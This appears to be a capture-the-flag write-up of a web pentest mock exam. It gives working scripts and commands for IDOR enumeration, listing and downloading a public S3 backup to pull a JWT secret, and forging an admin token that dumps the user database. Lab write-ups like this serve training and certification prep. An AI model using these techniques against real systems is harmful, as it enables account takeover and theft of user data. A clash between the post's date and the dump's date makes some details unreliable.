[>_] Home [>_] Services [>_] Skills [>_] Certifications [>_] Experience [>_] Education [>_] Volunteering [>_] Projects [>_] Publications [>_] Writeups [>_] Contact
CTF Writeup Intermediate ★ Featured

CAPen Mock Exam Writeup – How I Passed the Certified AppSec Pentester

Full walkthrough covering IDOR chains, AWS S3 misconfigurations, and JWT forgery. Tips for CAPen prep.

April 18, 2026 · 8–10 min read
CAPen CTF IDOR JWT Web Security

Overview

The CAPen (Certified AppSec Pentester) mock exam tests practical web application security across three challenge domains: IDOR privilege escalation, AWS S3 misconfiguration, and JWT forgery.

Target Overview

# Initial scan of exam targets
nmap -sV -sC 10.10.0.0/24 --open -oN initial_scan.txt

# Key services
# 10.10.0.5   Web App  (80, 443)  — Primary target
# 10.10.0.12  Internal API (8080)
# 10.10.0.20  Admin Panel (3000)

Challenge 1: IDOR Chain

Enumeration

# Discover API endpoints
ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt -mc 200,401,403

# Found:
# /api/v1/users/1   → own profile
# /api/v1/users/2   → IDOR!

Exploitation

import requests

session = requests.Session()
session.post("https://target.com/login",
             data={"user": "attacker", "pass": "password"})

for uid in range(1, 200):
    r = session.get(f"https://target.com/api/v1/users/{uid}")
    if r.status_code == 200:
        data = r.json()
        if data.get("role") == "admin":
            print(f"[+] Admin found: uid={uid}, email={data['email']}")
            break

Finding: User ID 7 was an administrator. The API returned their session token directly in the response.

Challenge 2: AWS S3 Misconfiguration

# Found S3 reference in JavaScript source
curl -s https://target.com/static/app.js | grep -oE 'https://[a-z0-9-]+[.]s3[.]amazonaws[.]com[^"]*'

# Test public listing
aws s3 ls s3://target-prod-backups/ --no-sign-request
# db_dump_2026-05-01.sql.gz

# Download and extract credentials
aws s3 cp s3://target-prod-backups/db_dump_2026-05-01.sql.gz . --no-sign-request
gunzip db_dump_2026-05-01.sql.gz
grep -i "jwt_secret" db_dump_2026-05-01.sql
# INSERT INTO config VALUES ('jwt_secret', 'sup3r_s3cr3t_k3y_2026');

Challenge 3: JWT Forgery

import jwt, requests

secret = "sup3r_s3cr3t_k3y_2026"
payload = {
    "sub": "1",
    "email": "admin@target.com",
    "role": "admin",
    "exp": 9999999999
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(f"[+] Forged token: {token}")

r = requests.get(
    "https://target.com/api/v1/admin/users",
    headers={"Authorization": f"Bearer {token}"}
)
print(r.json())  # Full user database

Conclusion

IDOR → account takeover → S3 discovery → JWT forgery demonstrates how seemingly minor issues chain into a full application compromise. Always test field parameters your application accepts — not just what the frontend sends.